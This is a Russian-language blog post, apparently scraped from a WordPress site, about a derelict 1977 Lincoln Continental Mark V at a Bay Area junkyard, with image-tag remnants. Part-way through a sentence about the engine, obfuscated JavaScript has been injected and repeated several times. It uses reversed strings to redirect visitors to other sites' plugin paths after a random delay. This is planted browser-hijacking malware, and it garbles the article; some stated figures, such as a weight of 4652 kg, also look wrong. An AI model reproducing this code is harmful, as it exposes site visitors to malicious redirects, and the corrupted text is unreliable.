В 1977 году концерн Ford презентовал новый Lincoln Continental Mark V, один из самых роскошных купе, которые были в моде в ту эпоху. Он был на 400 фунтов легче, чем его предшественник Mark IV. Mark V демонстрировал 4652 килограммовый символ американской исключительности. Именно этот Марк V был замечен на автосвалке Bay Area в Сан — Франциско.
to-ru.ru/wp-content/uploads/2017/03/vin-california.jpg» alt=»Lincoln Continental Mark V» width=»720″ height=»405″/>
Как видим, кузов изъеден ржавчиной и сверху и снизу. Интерьер высушен солнцем и испорчен дождями. Этот автомобиль, как минимум 20 лет провел на открытом воздухе.
to-ru.ru/wp-content/uploads/2017/03/ntinental-mark-v-in.jpg» alt=»Салон Lincoln Continental Mark V» width=»720″ height=»405″/>
Тем не менее, элементы его первоначального богатства можно здесь увидеть. Например, часы Картье (которые, вероятно, были установлены примерно в 1983году). Часы Картье устанавливались для модели Марк Vs.
to-ru.ru/wp-content/uploads/2017/03/kartye.jpg» alt=»Часы Картье» width=»720″ height=»405″/>
После времён нефтяного кризиса 1973 года, и не менее тяжелого кризиса 1979 года были попытки улучшить экономию топлива у такого типа автомобилей.
Этот автомобиль имел 6560 кубовый двигатель Cleveltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and, мощностью 179 лошадиных сил, и 446 н/м крутящего момента.
to-ru.ru/wp-content/uploads/2017/03/in-california.jpg» alt=»Некогда раскошный салон Lincoln Continental Mark V» width=»720″ height=»405″/>
Эти автомобили были очень комфортны и удобны при езде по щоссе, с их мягкими пружинами и теплыми раскошными креслами.
to-ru.ru/wp-content/uploads/2017/03/ntinental-mark.jpg» alt=»Lincoln Continental, датчик топлива» width=»720″ height=»405″/>
Вопрос, стоило ли его восстановливать? Это сложный вопрос. Ремонт и восстановление будет стоит четырехзначной цифры в долларах. Вряд ли найдется такой энтузиаст-любитель. Он будет стоить намного больше, чем новый современный автомобиль.
to-ru.ru/wp-content/uploads/2017/03/lincoln-continental-mark-v.jpg» alt=»Lincoln Continental, элементы интерьера» width=»720″ height=»405″/>
Печально конечно, но судьба этого автомобиля, Lincoln Continental Mark V, довольно призрачна, хотя он и являет собой воплощение целой эпохи…
//www.youtube.com/watch?v=K1dstUfEcHc